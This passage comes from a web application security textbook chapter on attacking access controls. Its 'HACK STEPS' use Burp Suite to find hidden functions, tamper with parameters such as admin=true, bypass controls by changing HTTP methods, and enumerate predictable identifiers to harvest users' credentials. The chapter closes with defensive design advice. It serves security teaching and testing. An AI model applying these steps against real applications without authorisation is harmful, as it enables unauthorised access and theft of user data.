functionality needs to be withdrawn, there is no way to delete their knowledge of a particular URL. In some applications where sensitive functionality is hidden behind URLs that are not easy to guess, an attacker may often be able to identify these via close inspection of client-side code. Many applications use JavaScript to build the user interface dynamically within the client. This typically works by setting various fl ags regarding the user’s status and then adding individual elements to the UI on the basis of these: var isAdmin = false; ... if (isAdmin) { adminMenu.addItem(“/menus/secure/ff457/addNewPortalUser2.jsp”, “create a new user”); } Here, an attacker can simply review the JavaScript to identify URLs for administrative functionality and attempt to access these. In other cases, HTML comments may contain references to or clues about URLs that are not linked from on-screen content. Chapter 4 discusses the various techniques by which an attacker can gather information about hidden content within the application. Direct Access to Methods A specifi c case of unprotected functionality can arise when applications expose URLs or parameters that are actually remote invocations of API methods, normally those exposed by a Java interface. This often occurs when server-side code is moved to a browser extension component and method stubs are created so that the code can still call the server-side methods it requires to function. Outside of this situation, some instances of direct access to methods can be identifi ed where URLs or parameters use the standard Java naming conventions, such as getBalance and isExpired. c08.indd 260c08.indd 260 8/19/2011 12:08:31 PM8/19/2011 12:08:31 PMStuttard c08.indd V3 - 07/28/2011 Page 261 Chapter 8 Attacking Access Controls 261 In principle, requests specifying a server-side API to be executed need be no less secure than those specifying a server-side script or other resource. In practice, however, this type of mechanism frequently contains vulnerabilities. Often, the client interacts directly with server-side API methods and bypasses the application’s normal controls over access or unexpected input vectors. There is also a chance that other functionality exists that can be invoked in this way and is not protected by any controls, on the assumption that it could never be directly invoked by web application clients. Often, there is a need to provide users with access to certain specifi c methods, but they are instead given access to all methods. This is either because the developer is not fully aware of which subset of methods to proxy and provides access to all methods, or because the API used to map them to the HTTP server provides access to all methods by default. The following example shows the getCurrentUserRoles method being invoked from within the interface securityCheck: http://wahh-app.com/public/securityCheck/getCurrentUserRoles In this example, in addition to testing the access controls over the getCur- rentUserRoles method, you should check for the existence of other similarly named methods such as getAllUserRoles, getAllRoles, getAllUsers, and getCurrentUserPermissions. Further considerations specifi c to the testing of direct access to methods are described later in this chapter. Identifi er-Based Functions When a function of an application is used to gain access to a specifi c resource, it is common to see an identifi er for the requested resource being passed to the server in a request parameter, within either the URL query string or the body of a POST request. For example, an application may use the following URL to display a specifi c document belonging to a particular user: https://wahh-app.com/ViewDocument.php?docid=1280149120 When the user who owns the document is logged in, a link to this URL is displayed on the user’s My Documents page. Other users do not see the link. However, if access controls are broken, any user who requests the relevant URL may be able to view the document in exactly the same way as the authorized user. TIP This type of vulnerability often arises when the main application inter- faces with an external system or back-end component. It can be diffi cult to share a session-based security model between different systems that may be based on diverse technologies. Faced with this problem, developers frequently take a shortcut and move away from that model, using client-submitted parameters to make access control decisions. c08.indd 261c08.indd 261 8/19/2011 12:08:31 PM8/19/2011 12:08:31 PMStuttard c08.indd V3 - 07/28/2011 Page 262 262 Chapter 8 Attacking Access Controls In this example, an attacker seeking to gain unauthorized access needs to know not only the name of the application page (ViewDocument.php) but also the identifi er of the document he wants to view. Sometimes, resource identi- fi ers are generated in a highly unpredictable manner; for example, they may be randomly chosen GUIDs. In other cases, they may be easily guessed; for example, they may be sequentially generated numbers. However, the applica- tion is vulnerable in both cases. As described previously, URLs do not have the status of secrets, and the same applies to resource identifi ers. Often, an attacker who wants to discover the identifi ers of other users’ resources can fi nd some location within the application that discloses these, such as access logs. Even where an application’s resource identifi ers cannot be easily guessed, the appli- cation is still vulnerable if it fails to properly control access to those resources. In cases where the identifi ers are easily predicted, the problem is even more serious and more easily exploited. TIP Application logs are often a gold mine of information. They may contain numerous items of data that can be used as identifi ers to probe functionality that is accessed in this way. Identifi ers commonly found within application logs include usernames, user ID numbers, account numbers, document IDs, user groups and roles, and e-mail addresses. NOTE In addition to being used as references to data-based resources within the application, this kind of identifi er is often used to refer to functions of the application itself. As you saw in Chapter 4, an application may deliver differ- ent functions via a single page, which accepts a function name or identifi er as a parameter. Again in this situation, access controls may run no deeper than the presence or absence of specifi c URLs within the interfaces of different types of users. If an attacker can determine the identifi er for a sensitive func- tion, he may be able to access it in the same way as a more privileged user. Multistage Functions Many kinds of functions within an application are implemented across several stages, involving multiple requests being sent from the client to the server. For example, a function to add a new user may involve choosing this option from a user maintenance menu, selecting the department and user role from drop- down lists, and then entering the new username, initial password, and other information. It is common to encounter applications in which efforts have been made to protect this kind of sensitive functionality from unauthorized access but where the access controls employed are broken because of fl awed assumptions about how the functionality will be used. c08.indd 262c08.indd 262 8/19/2011 12:08:31 PM8/19/2011 12:08:31 PMStuttard c08.indd V3 - 07/28/2011 Page 263 Chapter 8 Attacking Access Controls 263 In the previous example, when a user attempts to load the user maintenance menu and chooses the option to add a new user, the application may verify that the user has the required privileges and block access if the user does not. However, if an attacker proceeds directly to the stage of specifying the user’s department and other details, there may be no effective access control. The developers unconsciously assumed that any user who reaches the later stages of the process must have the relevant privileges because this was verifi ed at the earlier stages. The result is that any user of the application can add a new administrative user account and thereby take full control of the application, gain- ing access to many other functions whose access control is intrinsically robust. The authors have encountered this type of vulnerability even in the most security-critical web applications — those deployed by online banks. Making a funds transfer in a banking application typically involves multiple stages, partly to prevent users from accidentally making mistakes when requesting a transfer. This multistage process involves capturing different items of data from the user at each stage. This data is checked thoroughly when fi rst submitted and then usually is passed to each subsequent stage, using hidden fi elds in HTML form. However, if the application does not revalidate all this data at the fi nal stage, an attacker can potentially bypass the server’s checks. For example, the appli- cation might verify that the source account selected for the transfer belongs to the current user and then ask for details about the destination account and the amount of the transfer. If a user intercepts the fi nal POST request of this process and modifi es the source account number, she can execute a horizontal privilege escalation and transfer funds out of an account belonging to a different user. Static Files In the majority of cases, users gain access to protected functionality and resources by issuing requests to dynamic pages that execute on the server. It is the responsi- bility of each such page to perform suitable access control checks and confi rm that the user has the relevant privileges to perform the action he or she is attempting. However, in some cases, requests for protected resources are made directly to the static resources themselves, which are located within the server’s web root. For example, an online publisher may allow users to browse its book catalog and purchase ebooks for download. Once payment has been made, the user is directed to a download URL like the following: https://wahh-books.com/download/9780636628104.pdf Because this is a completely static resource, if it is hosted on a traditional web server, its contents are simply returned directly by the server, and no application- level code is executed. Hence, the resource cannot implement any logic to verify c08.indd 263c08.indd 263 8/19/2011 12:08:31 PM8/19/2011 12:08:31 PMStuttard c08.indd V3 - 07/28/2011 Page 264 264 Chapter 8 Attacking Access Controls that the requesting user has the required privileges. When static resources are accessed in this way, it is highly likely that no effective access controls are pro- tecting them and that anyone who knows the URL naming scheme can exploit this to access any resources he wants. In the present case, the document name looks suspiciously like an ISBN, which would enable an attacker to quickly download every ebook produced by the publisher! Certain types of functionality are particularly prone to this kind of prob- lem, including fi nancial websites providing access to static documents about companies such as annual reports, software vendors that provide downloadable binaries, and administrative functionality that provides access to static log fi les and other sensitive data collected within the application. Platform Misconfi guration Some applications use controls at the web server or application platform layer to control access. Typically, access to specifi ed URL paths is restricted based on the user’s role within the application. For example, access to the /admin path may be denied to users who are not in the Administrators group. In principle, this is an entirely legitimate means of controlling access. However, mistakes made in the confi guration of the platform-level controls can often allow unau- thorized access to occur. The platform-level confi guration normally takes the form of rules that are akin to fi rewall policy rules, which allow or deny access based on the following: HTTP request method URL path User role As described in Chapter 3, the original purpose of the GET method is of retriev- ing information, and the purpose of the POST method is performing actions that change the application’s data or state. If care is not taken to devise rules that accurately allow access based on the correct HTTP methods and URL paths, this may lead to unauthorized access. For example, if an administrative function to create a new user uses the POST method, the platform may have a deny rule that disallows the POST method and allows all other methods. However, if the application-level code does not verify that all requests for this function are in fact using the POST method, an attacker may be able to circumvent the control by submitting the same request using the GET method. Since most application-level APIs for retrieving request parameters are agnostic as to the request method, the attacker can simply sup- ply the required parameters within the URL query string of the GET request to make unauthorized use of the function. c08.indd 264c08.indd 264 8/19/2011 12:08:31 PM8/19/2011 12:08:31 PMStuttard c08.indd V3 - 07/28/2011 Page 265 Chapter 8 Attacking Access Controls 265 What is more surprising, on the face of it, is that applications can still be vulnerable even if the platform-level rule denies access to both the GET and POST methods. This happens because requests using other HTTP methods may ultimately be handled by the same application code that handles GET and POST requests. One example of this is the HEAD method. According to specifi cations, servers should respond to a HEAD request with the same headers they would use to respond to the corresponding GET request, but with no message body. Hence, most platforms correctly service HEAD requests by executing the corresponding GET handler and just return the HTTP headers that are generated. GET requests can often be used to perform sensitive actions, either because the application itself uses GET requests for this purpose (contrary to specifi cations) or because it does not verify that the POST method is being used. If an attacker can use a HEAD request to add an administrative user account, he or she can live without receiving any message body in the response. In some cases, platforms handle requests that use unrecognized HTTP methods by simply passing them to the GET request handler. In this situation, platform- level controls that just deny certain specifi ed HTTP methods can be bypassed by specifying an arbitrary invalid HTTP method in the request. Chapter 18 contains a specifi c example of this type of vulnerability arising in a web application platform product. Insecure Access Control Methods Some applications employ a fundamentally insecure access control model in which access control decisions are made on the basis of request parameters submitted by the client, or other conditions that are within an attacker’s control. Parameter-Based Access Control In some versions of this model, the application determines a user’s role or access level at the time of login and from this point onward transmits this information via the client in a hidden form fi eld, cookie, or preset query string parameter (see Chapter 5). When each subsequent request is processed, the application reads this request parameter and decides what access to grant the user accordingly. For example, an administrator using the application may see URLs like the following: https://wahh-app.com/login/home.jsp?admin=true The URLs seen by ordinary users contain a different parameter, or none at all. Any user who is aware of the parameter assigned to administrators can simply set it in his own requests and thereby gain access to administrative functions. c08.indd 265c08.indd 265 8/19/2011 12:08:31 PM8/19/2011 12:08:31 PMStuttard c08.indd V3 - 07/28/2011 Page 266 266 Chapter 8 Attacking Access Controls This type of access control may sometimes be diffi cult to detect without actually using the application as a high-privileged user and identifying what requests are made. The techniques described in Chapter 4 for discovering hid- den request parameters may be successful in discovering the mechanism when working only as an ordinary user. Referer-Based Access Control In other unsafe access control models, the application uses the HTTP Referer header as the basis for making access control decisions. For example, an appli- cation may strictly control access to the main administrative menu based on a user’s privileges. But when a user makes a request for an individual admin- istrative function, the application may simply check whether this request was referred from the administrative menu page. It might assume that the user must have accessed that page and therefore has the required privileges. This model is fundamentally broken, of course, because the Referer header is completely under the user’s control and can be set to any value. Location-Based Access Control Many businesses have a regulatory or business requirement to restrict access to resources depending on the user’s geographic location. These are not limited to the fi nancial sector but include news services and others. In these situations, a company may employ various methods to locate the user, the most common of which is geolocation of the user’s current IP address. Location-based access controls are relatively easy for an attacker to circum- vent. Here are some common methods of bypassing them: Using a web proxy that is based in the required location Using a VPN that terminates in the required location Using a mobile device that supports data roaming Direct manipulation of client-side mechanisms for geolocation Attacking Access Controls Before starting to probe the application to detect any actual access control vulnerabilities, you should take a moment to review the results of your appli- cation mapping exercises (see Chapter 4). You need to understand what the application’s actual requirements are in terms of access control, and therefore where it will probably be most fruitful to focus your attention. c08.indd 266c08.indd 266 8/19/2011 12:08:31 PM8/19/2011 12:08:31 PMStuttard c08.indd V3 - 07/28/2011 Page 267 Chapter 8 Attacking Access Controls 267 HACK STEPS Here are some questions to consider when examining an application’s access controls: 1. Do application functions give individual users access to a particular subset of data that belongs to them? 2. Are there different levels of user, such as managers, supervisors, guests, and so on, who are granted access to different functions? 3. Do administrators use functionality that is built into the same application to configure and monitor it? 4. What functions or data resources within the application have you identi- fied that would most likely enable you to escalate your current privileges? 5. Are there any identifiers (by way of URL parameters of POST body mes- sage) that signal a parameter is being used to track access levels? Testing with Different User Accounts The easiest and most effective way to test the effectiveness of an application’s access controls is to access the application using different accounts. That way you can determine whether resources and functionality that can be accessed legitimately by one account can be accessed illegitimately by another. HACK STEPS 1. If the application segregates user access to different levels of functional- ity, first use a powerful account to locate all the available functionality. Then attempt to access this using a lower-privileged account to test for vertical privilege escalation. 2. If the application segregates user access to different resources (such as documents), use two different user-level accounts to test whether access controls are effective or whether horizontal privilege escalation is pos- sible. For example, find a document that can be legitimately accessed by one user but not by another, and attempt to access it using the second user’s account — either by requesting the relevant URL or by submitting the same POST parameters from within the second user’s session. Testing an application’s access controls thoroughly is a time-consuming process. Fortunately, some tools can help you automate some of the work involved, to make your testing quicker and more reliable. This will allow you to focus on the parts of the task that require human intelligence to perform effectively. c08.indd 267c08.indd 267 8/19/2011 12:08:32 PM8/19/2011 12:08:32 PMStuttard c08.indd V3 - 07/28/2011 Page 268 268 Chapter 8 Attacking Access Controls Burp Suite lets you map the contents of an application using two different user contexts. Then you can compare the results to see exactly where the content accessed by each user is the same or different. HACK STEPS 1. With Burp configured as your proxy and interception disabled, browse all the application’s content within one user context. If you are testing verti- cal access controls, use the higher-privilege account for this. 2. Review the contents of Burp’s site map to ensure that you have identified all the functionality you want to test. Then use the context menu to select the “compare site maps” feature. 3. To select the second site map to be compared, you can either load this from a Burp state file or have Burp dynamically rerequest the first site map in a new session context. To test horizontal access controls between users of the same type, you can simply load a state file you saved earlier, having mapped the application as a different user. For testing vertical access controls, it is preferable to rerequest the high-privilege site map as a low-privileged user, because this ensures complete coverage of the relevant functionality. 4. To rerequest the first site map in a different session, you need to configure Burp’s session-handling functionality with the details of the low-privilege user session (for example, by recording a login macro or providing a specific cookie to be used in requests). This feature is described in more detail in Chapter 14. You may also need to define suitable scope rules to prevent Burp from requesting any logout function. Figure 8-1 shows the results of a simple site map comparison. Its colorized analysis of the differences between the site maps shows items that have been added, removed, or modifi ed between the two maps. For modifi ed items, the table includes a “diff count” column, which is the number of edits required to modify the item in the fi rst map into the item in the second map. Also, when an item is selected, the responses are also colorized to show the locations of those edits within the responses. Interpreting the results of the site map comparison requires human intelli- gence and an understanding of the meaning and context of specifi c application functions. For example, Figure 8-1 shows the responses that are returned to each user when they view their home page. The two responses show a different description of the logged-in user, and the administrative user has an additional menu item. These differences are to be expected, and they are neutral as to the effectiveness of the application’s access controls, since they concern only the user interface. c08.indd 268c08.indd 268 8/19/2011 12:08:32 PM8/19/2011 12:08:32 PMStuttard c08.indd V3 - 07/28/2011 Page 269 Chapter 8 Attacking Access Controls 269 Figure 8-1: A site map comparison showing the differences between content that was accessed in different user contexts Figure 8-2 shows the response returned when each user requests the top-level admin page. Here, the administrative user sees a menu of available options, while the ordinary user sees a “not authorized” message. These differences indicate that access controls are being applied correctly. Figure 8-3 shows the response returned when each user requests the “list users” admin function. Here, the responses are identical, indicating that the application is vulnerable, since the ordinary user should not have access to this function and does not have any link to it in his or her user interface. Simply exploring the site map tree and looking at the number of differences between items is insuffi cient to evaluate the effectiveness of the application’s access controls. Two identical responses may indicate a vulnerability (for example, in an administrative function that discloses sensitive information) or may be harmless (for example, in an unprotected search function). Conversely, two dif- ferent responses may still mean that a vulnerability exists (for example, in an administrative function that returns different content each time it is accessed) or may be harmless (for example, in a page showing profi le information about the currently logged-in user). For these reasons, fully automated tools gener- ally are ineffective at identifying access control vulnerabilities. Using Burp’s functionality to compare site maps, you can automate as much of the process as possible, giving you all the information you need in a ready form, and let- ting you apply your knowledge of the application’s functionality to identify any actual vulnerabilities. c08.indd 269c08.indd 269 8/19/2011 12:08:32 PM8/19/2011 12:08:32 PMStuttard c08.indd V3 - 07/28/2011 Page 270 270 Chapter 8 Attacking Access Controls Figure 8-2: The low-privileged user is denied access to the top-level admin page Figure 8-3: The low-privileged user can access the administrative function to list application users c08.indd 270c08.indd 270 8/19/2011 12:08:32 PM8/19/2011 12:08:32 PMStuttard c08.indd V3 - 07/28/2011 Page 271 Chapter 8 Attacking Access Controls 271 TRY IT! http://mdsec.net/auth/462/ http://mdsec.net/auth/468/ Testing Multistage Processes The approach described in the preceding section — comparing the appli- cation’s contents when accessed in different user contexts — is ineffective when testing some multistage processes. Here, to perform an action, the user typically must make several requests in the correct sequence, with the application building some state about the user’s actions as he or she does so. Simply rerequesting each of the items in a site map may fail to replicate the process correctly, so the attempted action may fail for reasons other than the use of access controls. For example, consider an administrative function to add a new application user. This may involve several steps, including loading the form to add a user, submitting the form with details of the new user, reviewing these details, and confi rming the action. In some cases, the application may protect access to the initial form but fail to protect the page that handles the form submission or the confi rmation page. The overall process may involve numerous requests, including redirections, with parameters submitted at earlier stages being retransmitted later via the client side. Every step of this process needs to be tested individually, to confi rm whether access controls are being applied correctly. TRY IT! http://mdsec.net/auth/471/ HACK STEPS 1. When an action is carried out in a multistep way, involving several different requests from client to server, test each request individually to determine whether access controls have been applied to it. Be sure to include every request, including form submissions, the following of redirections, and any unparameterized requests. 2. Try to find any locations where the application effectively assumes that if you have reached a particular point, you must have arrived via legitimate means. Try to reach that point in other ways using a lower-privileged account to detect if any privilege escalation attacks are possible. Continued c08.indd 271c08.indd 271 8/19/2011 12:08:33 PM8/19/2011 12:08:33 PMStuttard c08.indd V3 - 07/28/2011 Page 272 272 Chapter 8 Attacking Access Controls 3. One way to perform this testing manually is to walk through a protected multistage process several times in your browser and use your proxy to switch the session token supplied in different requests to that of a less-privileged user. 4. You can often dramatically speed up this process by using the “request in browser” feature of Burp Suite: a. Use the higher-privileged account to walk through the entire multi- stage process. b. Log in to the application using the lower-privileged account (or none at all). c. In the Burp Proxy history, find the sequence of requests that were made when the multistage process was performed as a more privi- leged user. For each request in the sequence, select the context menu item “request in browser in current browser session,” as shown in Figure 8-4. Paste the provided URL into your browser that is logged in as the lower-privileged user. d. If the application lets you, follow through the remainder of the multi-stage process in the normal way, using your browser. e. View the result within both the browser and the proxy history to determine whether it successfully performed the privileged action. Figure 8-4: Using Burp to request a given item within the current browser session HACK STEPS (CONTINUED) c08.indd 272c08.indd 272 8/19/2011 12:08:33 PM8/19/2011 12:08:33 PMStuttard c08.indd V3 - 07/28/2011 Page 273 Chapter 8 Attacking Access Controls 273 When you select Burp’s “request in browser in current browser session” feature for a specifi ed request, Burp gives you a unique URL targeting Burp’s internal web server, which you paste into your browser’s address bar. When your browser requests this URL, Burp returns a redirection to the originally specifi ed URL. When your browser follows the redirection, Burp replaces the request with the one you originally specifi ed, while leaving the Cookie header intact. If you are testing different user contexts, you can speed up this process. Log in to several different browsers as different users, and paste the URL into each browser to see how the request is handled for the user who is logged in using that browser. (Note that because cookies generally are shared between different windows of the same browser, you normally will need to use differ- ent browser products, or browsers on different machines, to perform this test.) TIP When you are testing multistage processes in different user contexts, it is sometimes helpful to review the sequences of requests that are made by different users side-by-side to identify subtle differences that may merit further investigation. If you are using separate browsers to access the application as different users, you can create a different proxy listener in Burp for use by each browser (you need to update your proxy confi guration in each browser to point to the rel- evant listener). Then, for each browser, use the context menu on the proxy history to open a new history window, and set a display fi lter to show only requests from the relevant proxy listener. Testing with Limited Access If you have only one user-level account with which to access the application (or none at all), additional work needs to be done to test the effectiveness of access controls. In fact, to perform a fully comprehensive test, further work needs to be done in any case. Poorly protected functionality may exist that is not explic- itly linked from the interface of any application user. For example, perhaps old functionality has not yet been removed, or new functionality has been deployed but has not yet been published to users. HACK STEPS 1. Use the content discovery techniques described in Chapter 4 to identify as much of the application’s functionality as possible. Performing this exercise as a low-privileged user is often sufficient to both enumerate and gain direct access to sensitive functionality. Continued c08.indd 273c08.indd 273 8/19/2011 12:08:33 PM8/19/2011 12:08:33 PMStuttard c08.indd V3 - 07/28/2011 Page 274 274 Chapter 8 Attacking Access Controls 2. Where application pages are identified that are likely to present dif- ferent functionality or links to ordinary and administrative users (for example, Control Panel or My Home Page), try adding parameters such as admin=true to the URL query string and the body of POST requests. This will help you determine whether this uncovers or gives access to any additional functionality than your user context has normal access to. 3. Test whether the application uses the Referer header as the basis for making access control decisions. For key application functions that you are authorized to access, try removing or modifying the Referer header, and determine whether your request is still successful. If not, the applica- tion may be trusting the Referer header in an unsafe way. If you scan requests using Burp’s active scanner, Burp tries to remove the Referer header from each request and informs you if this appears to make a sys- tematic and relevant difference to the application’s response. 4. Review all client-side HTML and scripts to find references to hidden functionality or functionality that can be manipulated on the client side, such as script-based user interfaces. Also, decompile all browser exten- sion components as described in Chapter 5 to discover any references to server-side functionality. TRY IT! http://mdsec.net/auth/477/ http://mdsec.net/auth/472/ http://mdsec.net/auth/466/ When all accessible functionality has been enumerated, you need to test whether per-user segregation of access to resources is being correctly enforced. In every instance where the application grants users access to a subset of a wider range of resources of the same type (such as documents, orders, e-mails, and personal details), there may be opportunities for one user to gain unauthorized access to other resources. HACK STEPS 1. Where the application uses identifiers of any kind (document IDs, account numbers, order references) to specify which resource a user is requesting, attempt to discover the identifiers for resources to which you do not have authorized access. HACK STEPS (CONTINUED) c08.indd 274c08.indd 274 8/19/2011 12:08:33 PM8/19/2011 12:08:33 PMStuttard c08.indd V3 - 07/28/2011 Page 275 Chapter 8 Attacking Access Controls 275 2. If it is possible to generate a series of such identifiers in quick succes- sion (for example, by creating multiple new documents or orders), use the techniques described in Chapter 7 for session tokens to try to discover any predictable sequences in the identifiers the application produces. 3. If it is not possible to generate any new identifiers, you are restricted to analyzing the identifiers you have already discovered, or even using plain guesswork. If the identifier has the form of a GUID, it is unlikely that any attempts based on guessing will be successful. However, if it is a relatively small number, try other numbers in close range, or random numbers with the same number of digits. 4. If access controls are found to be broken, and resource identifiers are found to be predictable, you can mount an automated attack to harvest sensitive resources and information from the application. Use the tech- niques described in Chapter 14 to design a bespoke automated attack to retrieve the data you require. A catastrophic vulnerability of this kind occurs where an Account Information page displays a user’s personal details together with his username and pass- word. Although the password typically is masked on-screen, it is nevertheless transmitted in full to the browser. Here, you can often quickly iterate through the full range of account identifi ers to harvest the login credentials of all users, including administrators. Figure 8-5 shows Burp Intruder being used to carry out a successful attack of this kind. Figure 8-5: A successful attack to harvest usernames and passwords via an access control vulnerability c08.indd 275c08.indd 275 8/19/2011 12:08:33 PM8/19/2011 12:08:33 PMStuttard c08.indd V3 - 07/28/2011 Page 276 276 Chapter 8 Attacking Access Controls TRY IT! http://mdsec.net/auth/488/ http://mdsec.net/auth/494/ TIP When you detect an access control vulnerability, an immediate attack to follow up with is to attempt to escalate your privileges further by compro- mising a user account that has administrative privileges. You can use various tricks to locate an administrative account. Using an access control fl aw like the one illustrated, you may harvest hundreds of user credentials and not relish the task of logging in manually as every user until you fi nd an admin- istrator. However, when accounts are identifi ed by a sequential numeric ID, it is common to fi nd that the lowest account numbers are assigned to administrators. Logging in as the fi rst few users who were registered with the application often identifi es an administrator. If this approach fails, an effective method is to fi nd a function within the application where access is properly segregated horizontally, such as the main home page presented to each user. Write a script to log in using each set of captured credentials, and then try to access your own home page. It is likely that administrative users can view every user’s home page, so you will immediately detect when an administrative account is being used. Testing Direct Access to Methods Where an application uses requests that give direct access to server-side API methods, any access control weaknesses within those methods normally are identifi ed using the methodology already described. However, you should also test for the existence of additional APIs that may not be properly protected. For example, a servlet may be invoked using the following request: POST /svc HTTP/1.1 Accept-Encoding: gzip, deflate Host: wahh-app Content-Length: 37 servlet=com.ibm.ws.webcontainer.httpsession.IBMTrackerDebug Since this is a well-known servlet, perhaps you can access other servlets to perform unauthorized actions. c08.indd 276c08.indd 276 8/19/2011 12:08:33 PM8/19/2011 12:08:33 PMStuttard c08.indd V3 - 07/28/2011 Page 277 Chapter 8 Attacking Access Controls 277 HACK STEPS 1. Identify any parameters that follow Java naming conventions (for exam- ple, get, set, add, update, is, or has followed by a capitalized word), or explicitly specify a package structure (for example, com.companyname .xxx.yyy.ClassName). Make a note of all referenced methods you can find. 2. Look out for a method that lists the available interfaces or methods. Check through your proxy history to see if it has been called as part of the application’s normal communication. If not, try to guess it using the observed naming convention. 3. Consult public resources such as search engines and forum sites to deter- mine any other methods that might be accessible. 4. Use the techniques described in Chapter 4 to guess other method names. 5. Attempt to access all methods gathered using a variety of user account types, including unauthenticated access. 6. If you do not know the number or types of arguments expected by some methods, look for methods that are less likely to take arguments, such as listInterfaces and getAllUsersInRoles. Testing Controls Over Static Resources In cases where static resources that the application is protecting are ultimately accessed directly via URLs to the resource fi les themselves, you should test whether it is possible for unauthorized users to simply request these URLs directly. HACK STEPS 1. Step through the normal process for gaining access to a protected static resource to obtain an example of the URL by which it is ultimately retrieved. 2. Using a different user context (for example, a less-privileged user or an account that has not made a required purchase), attempt to access the resource directly using the URL you have identified. 3. If this attack succeeds, try to understand the naming scheme being used for protected static files. If possible, construct an automated attack to trawl for content that may be useful or that may contain sensitive data (see Chapter 14). c08.indd 277c08.indd 277 8/19/2011 12:08:34 PM8/19/2011 12:08:34 PMStuttard c08.indd V3 - 07/28/2011 Page 278 278 Chapter 8 Attacking Access Controls Testing Restrictions on HTTP Methods Although there may not be a ready means of detecting whether an application’s access controls make use of platform-level controls over HTTP methods, you can take some simple steps to identify any vulnerabilities. HACK STEPS 1. Using a high-privileged account, identify some privileged requests that perform sensitive actions, such as adding a new user or changing a user’s security role. 2. If these requests are not protected by any anti-CSRF tokens or similar features (see Chapter 13), use the high-privileged account to determine whether the application still carries out the requested action if the HTTP method is modified. Test the following HTTP methods: POST GET HEAD An arbitrary invalid HTTP method 3. If the application honors any requests using different HTTP methods than the original method, test the access controls over those requests using the standard methodology already described, using accounts with lower privileges. Securing Access Controls Access controls are one of the easiest areas of web application security to under- stand, although you must carefully apply a well-informed, thorough methodology when implementing them. First, you should avoid several obvious pitfalls. These usually arise from ignorance about the essential requirements of effective access control or fl awed assumptions about the kinds of requests that users will make and against which the application needs to defend itself: Do not rely on users’ ignorance of application URLs or the identifi ers used to specify application resources, such as account numbers and document IDs. Assume that users know every application URL and identifi er, and ensure that the application’s access controls alone are suffi cient to prevent unauthorized access. c08.indd 278c08.indd 278 8/19/2011 12:08:34 PM8/19/2011 12:08:34 PMStuttard c08.indd V3 - 07/28/2011 Page 279 Chapter 8 Attacking Access Controls 279 Do not trust any user-submitted parameters to signify access rights (such as admin=true). Do not assume that users will access application pages in the intended sequence. Do not assume that because users cannot access the Edit Users page, they cannot reach the Edit User X page that is linked from it. Do not trust the user not to tamper with any data that is transmitted via the client. If some user-submitted data has been validated and then is transmitted via the client, do not rely on the retransmitted value without revalidation. The following represents a best-practice approach to implementing effective access controls within web applications: Explicitly evaluate and document the access control requirements for every unit of application functionality. This needs to include both who can legitimately use the function and what resources individual users may access via the function. Drive all access control decisions from the user’s session. Use a central application component to check access controls. Process every client request via this component to validate that the user making the request is permitted to access the functionality and resources being requested. Use programmatic techniques to ensure that there are no exceptions to the previous point. An effective approach is to mandate that every application page must implement an interface that is queried by the central access control mechanism. If you force developers to explicitly code access control logic into every page, there can be no excuse for omissions. For particularly sensitive functionality, such as administrative pages, you can further restrict access by IP address to ensure that only users from a specifi c network range can access the functionality, regardless of their login status. If static content needs to be protected, there are two methods of provid- ing access control. First, static fi les can be accessed indirectly by passing a fi lename to a dynamic server-side page that implements relevant access control logic. Second, direct access to static fi les can be controlled using HTTP authentication or other features of the application server to wrap the incom- ing request and check the resource’s permissions before access is granted. Identifi ers specifying which resource a user wants to access are vulner- able to tampering whenever they are transmitted via the client. The server c08.indd 279c08.indd 279 8/19/2011 12:08:34 PM8/19/2011 12:08:34 PMStuttard c08.indd V3 - 07/28/2011 Page 280 280 Chapter 8 Attacking Access Controls should trust only the integrity of server-side data. Any time these identi- fi ers are transmitted via the client, they need to be revalidated to ensure that the user is authorized to access the requested resource. For security-critical application functions such as the creation of a new bill payee in a banking application, consider implementing per-transaction reauthentication and dual authorization to provide additional assurance that the function is not being used by an unauthorized party. This also mitigates the consequences of other possible attacks, such as session hijacking. Log every event where sensitive data is accessed or a sensitive action is performed. These logs will enable potential access control breaches to be detected and investigated. Web application developers often implement access control functions on a piecemeal basis. They add code to individual pages in cases where some access control is required, and they often cut and paste the same code between pages to implement similar requirements. This approach carries an inherent risk of defects in the resulting access control mechanism. Many cases are overlooked where controls are required, controls designed for one area may not operate in the intended way in another area, and modifi cations made elsewhere within the application may break existing controls by violating assumptions made by them. In contrast to this approach, the previously described method of using a central application component to enforce access controls has many benefi ts: It increases the clarity of access controls within the application, enabling different developers to quickly understand the controls implemented by others. It makes maintainability more effi cient and reliable. Most changes need to be applied only once, to a single shared component, and do not need to be cut and pasted to multiple locations. It improves adaptability. Where new access control requirements arise, they can be easily refl ected within an existing API implemented by each application page. It results in fewer mistakes and omissions than if access control code is implemented piecemeal throughout the application. A Multilayered Privilege Model Issues relating to access apply not only to the web application itself but also to the other infrastructure tiers that lie beneath it — in particular, the applica- tion server, the database, and the operating system. Taking a defense-in-depth approach to security entails implementing access controls at each of these layers c08.indd 280c08.indd 280 8/19/2011 12:08:34 PM8/19/2011 12:08:34 PMStuttard c08.indd V3 - 07/28/2011 Page 281 Chapter 8 Attacking Access Controls 281 to create several layers of protection. This provides greater assurance against threats of unauthorized access, because if an attacker succeeds at compromising defenses at one layer, the attack may yet be blocked by defenses at another layer. In addition to implementing effective access controls within the web appli- cation itself, as already described, a multilayered approach can be applied in various ways to the components that underlie the application: The application server can be used to control access to entire URL paths on the basis of user roles that are defi ned at the application server tier. The application can employ a different database account when car- rying out the actions of different users. For users who should only be querying data (not updating it), an account with read-only privileges should be used. Fine-grained control over access to different database tables can be imple- mented within the database itself, using a table of privileges. The operating system accounts used to run each component in the infra- structure can be restricted to the least powerful privileges that the com- ponent actually requires. In a complex, security-critical application, layered defenses of this kind can be devised with the help of a matrix defi ning the different user roles within the application and the different privileges, at each tier, that should be assigned to each role. Figure 8-6 is a partial example of a privilege matrix for a complex application. Figure 8-6: A privilege matrix for a complex application Application Server Application Roles Database Privileges c08.indd 281c08.indd 281 8/19/2011 12:08:34 PM8/19/2011 12:08:34 PMStuttard c08.indd V3 - 07/28/2011 Page 282 282 Chapter 8 Attacking Access Controls Within a security model of this kind, you can see how various useful access control concepts can be applied: Programmatic control — The matrix of individual database privileges is stored in a table within the database and is applied programmatically to enforce access control decisions. The classifi cation of user roles provides a shortcut for applying certain access control checks, and this is also applied programmatically. Programmatic controls can be extremely fi ne-grained and can build arbitrarily complex logic into the process of carrying out access control decisions within the application. Discretionary access control (DAC) — Administrators can delegate their privileges to other users in relation to specifi c resources they own, employ- ing discretionary access control. This is a closed DAC model, in which access is denied unless explicitly granted. Administrators also can lock or expire individual user accounts. This is an open DAC model, in which access is permitted unless explicitly withdrawn. Various application users have privi- leges to create user accounts, again applying discretionary access control. 